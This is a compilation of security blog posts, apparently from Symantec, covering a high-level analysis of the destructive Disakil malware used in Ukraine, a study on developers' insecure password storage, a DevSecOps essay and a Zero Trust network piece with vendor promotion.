Destover also share some commonalities with the Shamoon Attacks. Both Destover and the malware used by the Shamoon attackers (W32.Disttrack) share some drivers. These are not malicious files and are commercially available drivers. While both Destover and Disttrack are destructive forms of malware, there is no evidence to suggest that the same group is behind both attacks.
Symantec protection
Symantec and Norton products detect this threat as Backdoor.Destover.
|
Destructive Disakil malware linked to Ukraine power outages also used against media orgs
Computers in a major Ukrainian media company were compromised by Disakil in late October.
A highly destructive Trojan (detected by Symantec as Trojan.Disakil), reportedly used in recent attacks against the Ukrainian energy sector, was also earlier used against media targets in the same country. Symantec telemetry confirms that several computers in a major Ukrainian media company were compromised by Disakil in late October and may have been destroyed by the malware.
One computer at the media company was compromised by a new variant of the BlackEnergy Trojan (detected by Symantec as Backdoor.Lancafdo). The attackers appear to have used this infection to retrieve administrator credentials and used them to execute Disakil on a number of computers. Communication from these computers halted after Disakil was executed, suggesting that it succeeded in wiping them and rendering them inoperable.
The group behind the Black Energy Trojan is known as Sandworm and has a history of targeting organizations in Ukraine. It has also been known to attack NATO, a number of Western European countries, and companies operating in the energy sector.
Link to Ukrainian power outages
While Symantec does not have telemetry relating to more recent Disakil targets, the malware has been linked by others to attacks in late December against the energy sector in the Ukraine, which led to power outages in the country.
A press statement on the Security Service of Ukraine (SBU) website, alleged the discovery of malicious software responsible for these outages on the networks of regional power companies. According to the SBU press statement, the cyberattack was accompanied by a barrage of phone calls to their technical support telephone numbers, which would have acted like a denial of service (DoS) attack.
A blog from the SANS ICS team meanwhile reported that it received a sample of Disakil from a trusted source which was used in one of the attacks, on December 23.
Disakil in action
While Symantec cannot confirm Disakil has been used in any cyberattack causing power outages at this time, we can confirm its destructive nature.
Disakil is a multi-stage threat whose main characteristic is its appetite for destruction. If executed, it sets about rendering the infected system unusable by using a number of relatively simple but effective techniques such as overwriting the MBR (Master Boot Record) and overwriting certain file types with junk data. It also attempts to cover its tracks by clearing Windows log files and destroying the malware structure before restarting the system.
A notable feature of Disakil is that it attempts to stop and delete a service named “sec_service”. This service appears to belong to ‘Serial to Ethernet Connector’ software by Eltima. This software allows access to remote serial ports over network connections. A lot of legacy SCADA systems still use serial ports for RTU (Remote Terminal Unit or Remote Telemetry Unit) communications. This software is the type of solution a company would implement in their environment for communicating remotely with these legacy devices.
According to manufacturers, RTU features can include discrete alarms to monitor device failure, redundant backup communication for monitoring during a LAN failure and analog alarm inputs which monitor voltage, temperature, humidity and pressure. Hypothetically, if an attacker knew that their target was using this software for communicating with their legacy SCADA devices, stopping the service and any communications would increase the potential for damage within their environment.
Conclusion
Attacks of this nature against the energy sector are not unheard-of. In 2012 Symantec reported on the Shamoon attacks, where at least one organization in the energy sector was attacked using very similar techniques to render the targeted system unusable. The destructive capabilities of Disakil would make it ideal for use in any attack looking to inflict severe damage to a target’s environment.
Protection
Symantec and Norton products protect against Disakil and related threats with the following detections:
Antivirus
Trojan.Disakil
Backdoor.Lancafdo
Backdoor.Lancafdo.A
Backdoor.Lancafdo!gm
Backdoor.Lancafdo!gen3
Intrusion prevention system
System Infected: Backdoor.Lancafdo 2
|
Developers Not Immune to Sloppy Password Practices
Research finds that company-employed coders are often prone to taking security shortcuts
It's no secret that passwords are a weak link in the security world.
But while fingers are often pointed at users' weak passwords or screen-stuck Post-It notes, a recent study by German-based researchers indicates that developers themselves may share some of the blame.
The study found that a significant proportion of freelance developers commissioned to work on a fictitious social-networking site failed to integrate secure password-storage features unless specifically asked to do so – with some failing to do so even then. Moreover, a sizable share of the mechanisms alleged by the developers to be secure fell well short of the security community's best practices for keeping passwords safe.
"Developers, clients and managers need to be more aware of this problem," said Alena Naiakshina, the University of Bonn researcher who led the study, in an email interview. "Our results indicated that developers are only implementing security if explicitly requested to. Therefore, the task description for software-development tasks should consider this aspect in advance."
In an environment where news of password breaches are dismayingly routine, the apparent sloppiness shown by the study's developers might be viewed as startling.
Yet, as shown by the recent revelation that some developers had for years stored hundreds of millions of user passwords in plain text form on internal servers, it appears increasingly evident that even top-level developers are prone to shortcuts that can endanger user security.
"This is not an outlier, in my opinion," said A.J. Nash, global head of cyber intelligence at Symantec. "In general, developers are often focused on getting things done, and in some cases, security is viewed as getting in the way."
The University of Bonn study was designed to determine whether freelance developers hired to work on a simple app – in this case, a fictitious photo-sharing service for sports fans – would integrate features offering secure database storage for users' passwords, and if so, how strong these security measures would in fact be.
It appears increasingly evident that even top-level developers are prone to shortcuts that can endanger user security.
Previously, the researchers had conducted two similar studies with university-level computer-science students. There, none of the students who were not explicitly tasked with creating a secure solution wound up storing passwords securely. Just over half of those specifically asked to consider security as a factor produced secure solutions.
Noting that students were likely to act differently than paid, professional coders, the team used a similar approach to focus on developers hired through the Freelancer.com job-matching site.
This time they posed as a start-up company creating a social-networking site. Claiming to have lost a developer, they contacted 260 Java developers, offering payments of either €100 or €200 to complete coding of the site-registration process. A total of 49 accepted, with 43 successfully completing the task. The subjects were randomly assigned to the payment-level groups, and to groups that either were or were not specifically asked to consider security.
Participating coders predominately identified themselves as freelance developers, with "industrial developer" being the second-largest category. The most prominent countries of origin were India and China, but nations ranging from Italy to the United States were also represented.
Among the participants who were not explicitly asked for a secure solution, a large majority produced non-secure code, no matter what the payment scale. Among those who received a prompt to "store it securely," a slim majority within the €100 group provided secure code, while about twice as many developers in the €200 group produced secure solutions as did not (eight secure products as compared to four insecure).
Moreover, many of the developers who claimed to believe they were providing secure code in fact "protected" passwords using techniques deemed outdated by the security community, or by adopting functions today regarded as unsuitable for cryptographic purposes (such as MD5). A significant number simply stored passwords in Base64, a scheme for encoding binary data into an ASCII format that offers no practical protective features.
Company-employed coders too are often susceptible to taking security shortcuts, unless structures are in place that make this more difficult from the start.
Developers who did store passwords securely tended to use password-hashing libraries such as bcrypt or the PBKDF2 function.
In total, 17 developers provided secure code, while 25 did not. Following interviews with the freelancers hired, the researchers attributed this lack of security to developers' focus on functionality before security (particularly in the low-paid group), misplaced trust in "standards" such as MD5, and a reliance on outdated methods.
Naiakshina noted that the study's sample size was too small to definitively answer some of the questions they were interested in, such as the effect of nationality or the full effect of the different pay scales. In the future, the team intends to explore how the behavior of freelancers compares to that of full-time developers.
Symantec's Nash said that company-employed coders too are often susceptible to taking security shortcuts, unless structures are in place that make this more difficult from the start.
"It comes down to having a culture of security and being able to be in a situation where security is built into what everybody's doing in a seamless fashion," he said. "People by nature rebel against things that make their jobs harder. But if it's built into processes, people will do it."
|
DevOps + InfoSec Need to Come Together in DevSecOps
The unfortunate reality is that competing interests between the Infosec and DevOps teams often get in the way of effective collaboration
You don’t need to spend too many cycles pondering what might happen to a boxer crazy enough to enter the ring with one glove tied behind his back.
Security practitioners ought to keep that image in mind as they go about the business of organizing their defenses. Unfortunately, all too many organizations nowadays are letting corporate politics and status quo interfere unnecessarily with their security strategy. All the while, hackers are evolving and stepping up their efforts to deliver knockout blows. Consider the following:
1 in 13 web requests now lead to malware
An 8500% increase in coin miner detections is creating new vectors for cloud breaches
Just 37% of security managers say they can adequately analyze threat data
24% of successful cloud exploits happen at the app layer
History Repeats Itself
The unfortunate reality is that competing interests and legacy policies in between InfoSec and dev teams have gotten in the way of effective collaboration. As companies digitize and adjust to the demands of doing business in the cloud computing era, the relationship between these two important groups is often marred by dysfunction.
Let’s shift gears for a bit and talk about how software delivery has changed over the last two decades. Then let’s examine similarities with security models today.
Do you remember waterfall? Unfortunately, I sure do, and you’d be surprised to know that some companies still use this methodology today (even if they call it something else). First introduced back in 1970, the waterfall methodology introduced a series of sequential processes to get code out the door. Essentially, there were six stages that defined requirements and typically involved separate teams for each stage. Once a team completed its stage, it would trickle down to the next team and so on.
Although the model was one of the first documented processes on how to really gather customer requirements and get those requirements into code, waterfall has three big drawbacks: lack of speed, lack of flexibility for changing requirements, and less collaboration between teams.
These disadvantages paved the way for the agile methodology. The agile methodology is great in three aspects. First, agile recognizes that the dev teams won’t have all the requirements up front or those requirements will change over time. Because of this, the second advantage is dev teams typically don’t focus on delivering an all-encompassing solution but rather chop up requirements into smaller parts for faster delivery. Third, because things change fast, both dev teams and biz heads must work closely (like face-to-face conversations daily) throughout the project to truly discover what the market and customers want.
So now how does DevOps play into this evolution? Agile is about getting customer feedback fast into code and making complex projects doable. DevOps is about getting that code out the door faster. DevOps teams are charged with getting every developer’s code (Continuous Integration - CI) out the door on a frequent basis (Continuous Delivery - CD) and own the CI/CD pipeline. I think of DevOps as train masters making sure everyone’s release is on the train, and that train rolls out the station on time. In this way, DevOps facilitate agile development and as a result customers get better code, faster.
Waterfall Security
Now let’s think about how the evolution of waterfall, agile, and DevOps has in common with security today. A traditional InfoSec team is most likely a security gatekeeper. This team reviews code only after it’s fully baked, grades code against some predefined, static list, and has authority to stop all progress if the tests fail (even if some parts are secure). This team is almost the definition of a waterfall stage that doesn’t get visibility into the code until it’s time to go out the door nor has flexibility to adjust to new requirements.
Why does this model fail in the new cloud era? The same reasons why waterfall fails today. The model can’t adjust to changing requirements (new security use case) nor has an environment where they can truly understand what the dev team is trying to do.
The cadence of business had accelerated to the point where companies now needed a faster way to react to constantly changing customer requirements, including new security requirements. As more business goes to the cloud, new dev teams get created that will move fast. Traditional InfoSec models won’t scale with this approach, so you end up with three results: insecure code goes out that door, your releases (business) slow down, or a worse yet a combination of both – insecure, slow code.
All the more reason behind the logic of embracing a DevSecOps approach.
Culture Change
People define DevSecOps (and other permutations of the words “development”, “security”, and “operations”) differently, but there are four main differences that change the game. In a nut shell, DevSecOps is a culture change on how you can release more secure code, faster. As you think about how to build a DevSecOps culture, keep these ideas in mind as starting points:
Everyone is responsible for security. No longer do you have one team solely responsible for code security. Instead, you assign across-the-board responsibility for security. The dev team isn’t just on the hook for writing code; the dev team is also responsible for assessing risks and fixing issues. DevSecOps team can parachute in and provide guidance, but the dev team should ultimately be responsible for fixing their own code. Who knows code better than its creator?
Shift left. The faster you identify a security problem, the better off you are. Just like in an agile world, getting customer feedback faster into code means you waste less resources down the line and produce a better product. Addressing security issues early in the dev or even the planning process, means your code will be more secure and you’ll waste less resources chasing down problems.
Be flexible. Security requirements will and should change. Security is all about risk. I don’t have bulletproof glass for my car even though a sniper could technically shoot me through my window. Why? Because it’s not a likely risk for me (hopefully). However, I just recently added flat tire repair to my insurance because my commute changed due to construction (lots of nails). Good DevSecOps teams think about likely and new scenarios in which new code may get compromised. You might not ship code that is 100% bulletproof but do you need to? Better to ship code that is well protected against the likely and possibly newer risks.
Frequent, face-to-face collaboration. In the end, DevSecOps serves the business. The team should be enablers, not preventers. The priority should be “how do I get more secure code out faster” and not “how do I stop bad code from going out.” It’s a subtle, but powerful difference. This requires clear feedback to the dev team, context about risk, and daily touch points (ideally during scrum) early in the process to help the dev team get better code out to customer.
In the end, the day-to-day demands of a digital business will trump any lingering security paranoia blocking the implementation of DevSecOps. Aside from that, I honestly believe code is more secure using DevSecOps. Why box with just your right hand (InfoSec team), when you can untie your other hand (dev team) and go at your opponent full bore. When it comes to security, there’s no reason why you shouldn’t democratize every resource you have, and that’s what DevSecOps does.
|
Digging Deeper Into Zero Trust
Enterprises can’t any longer rely on the once-popular castle-and-moat approach. The future is in Zero Trust Networks
When the street-smart cop played by Sean Connery in "The Untouchables" instructs Kevin Costner's character about the realities of Prohibition-era Chicago, his first lesson regarding the ways of the world was simple: Trust Nobody.
The security world should apply a similarly blunt approach, particularly when it comes to rethinking dated assumptions about trust. The old school approach to security was to authenticate and determine trust of users at the edge of the network. If they were found to be trustworthy, they got in. If not, they got blocked. Unfortunately, you can never really truly establish complete trust.
Meanwhile, the once-popular castle-and-moat approach was found wanting when intruders were able to work their way inside of perimeter-based security through hacks and cracks in the walls. In response, the industry started to look for a new way to tackle enterprise security, one that was data-centric and comprehensive.
As I mentioned in an earlier blog, many enterprises are turning to Forrester’s Zero Trust model as a pragmatic blueprint to follow in order to up their security game. Zero Trust posits that threats are invariably going to come from every direction - external and internal. In our increasingly cloud-centric, mobile-centric world, there no longer are perimeters and data is spread out everywhere.
As a result, granular protection need to be applied to data itself, and controls must be implemented across all points of access to data, such as mobile devices, cloud workloads, and corporate networks.
In future blogs we will take a deeper look at each of the key “pillars” of Zero Trust, but at this point I’d like to dig a bit deeper to what it means in the context of network security controls. Let’s take a look at a Zero Trust Network.
The Zero Trust Network
In a Zero Trust network, nobody gets a free pass anymore - even if they are located inside the network perimeter. In fact, there is not really an overall network perimeter. The network has been segmented, and then segmented again. The result? A micro-segmented network, with lots of tiny perimeters.
Any request coming from an individual or device attempting to tap resources in these micro-perimeters requires strict verification. And better yet, data within these perimeters has been classified based on sensitivity, with the most sensitive data being encrypted. Only authorized users would be able to access this data in the clear. Of course, things can rapidly change, so the ability monitor users and, based on this visibility, adjust access to network segments based on factors such as behavioral risk scores, device type, user location, etc. needs to be considered as part of the modern Zero Trust Network.
Remember, the modern network extends beyond the datacenter – it reaches into the cloud. So, the principles of segmenting and controlling data need to be applied there as well. And consider the web, aren’t there parts of the web that you want your users nowhere near? And some parts that they may need to be able to visit to perform their jobs, but get you a bit nervous? The web also needs to be segmented, based on risk, and data exchanges and access needs to be monitored and strictly controlled.
The goal, in all of these areas, is to extend limited or very controlled access to segments of a network to avoid exposure to security threats - as well as to minimize the potential damage that bad actors might inflict if they do penetrate the corporate defense.
Beyond segmentation and access controls, network traffic, regardless of its source, needs to be scanned and monitored for threats. Web gateways, with their ability to scan encrypted traffic which may be hiding malware, are specifically designed to do a lot of this heavy lifting. They can orchestrate traffic to tools like sandboxes to stop zero-day threats. Email gateways, with best in class tools like threat isolation, can help defeat the phishing attacks we all face. Tools like these, fed by accurate real-time threat intelligence need to be part of a Zero Trust Network approach.
Many enterprises are turning to Forrester’s Zero Trust model as a pragmatic blueprint to follow in order to up their security game.
Is the Juice Worth the Squeeze?
But why put in the time and effort - and especially the investment - required to revamp your network along the lines of a Zero Trust posture? The organizations I have seen adopting Zero Trust have done the calculus and determined that the cost of a breach will outweigh the investment outlays in upgrading a network to conform to a Zero Trust posture. They understand that if a breach does occur, the impact will be greatly minimized because of the network segmentation and data isolation that has been put in place.
In parallel, Zero Trust network monitoring and forensics should be able to identify the intruder and the impact they have had and kick off automated mitigation steps to shut them down. From there, automation can orchestrate remediation activities in the network as well as other control points, such as mobile devices, to get the enterprise’s security posture back to the appropriate level.
An additional benefit: Zero Trust adoption also helps companies conform with the strict compliance requirements they now face when it comes to securing data and enforcing identity and access controls on devices and networks. I’ve seen organizations effectively tie their Zero Trust initiatives to the broader compliance regimes they must adhere to.
The Zero Trust Network - Why Symantec?
With our breadth of security solutions, Symantec’s in a unique position to offer the depth of capabilities required to implement a Zero Trust Network approach. Key technologies include:
Secure Web and Email Gateways
Threat Isolation and Network Sandboxing
Network Forensics and Encrypted Traffic Management
Information-Centric Encryption and Data Loss Prevention (DLP)
Cloud Application Security
User Behavior Analytics
SD-WAN
Additionally, our recent partnership with Fortinet around firewall technology will bring Fortinet’s best-in-class next-generation firewall into our cloud-delivered network security service.
And as enterprises look beyond the Zero Trust Network pillar, enterprises find that Symantec has their needs covered in other area of Zero Trust as well. The breadth, depth, and level of integration within our Integrated Cyber Defense platform were key reasons why Forrester named us a Leader in their recent Zero Trust Extended (ZTX) Ecosystem Wave. Additional detail on how the Symantec portfolio maps to the Zero Trust framework is available on Symantec’s Zero Trust Topic Page.
If you are investigating Zero Trust, I hope you will contact Symantec to see how we can partner with you on the journey. I hope this discussion on Zero Trust Networks was useful, and we look forward to continuing the conversation on Zero Trust with our customers and partners.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.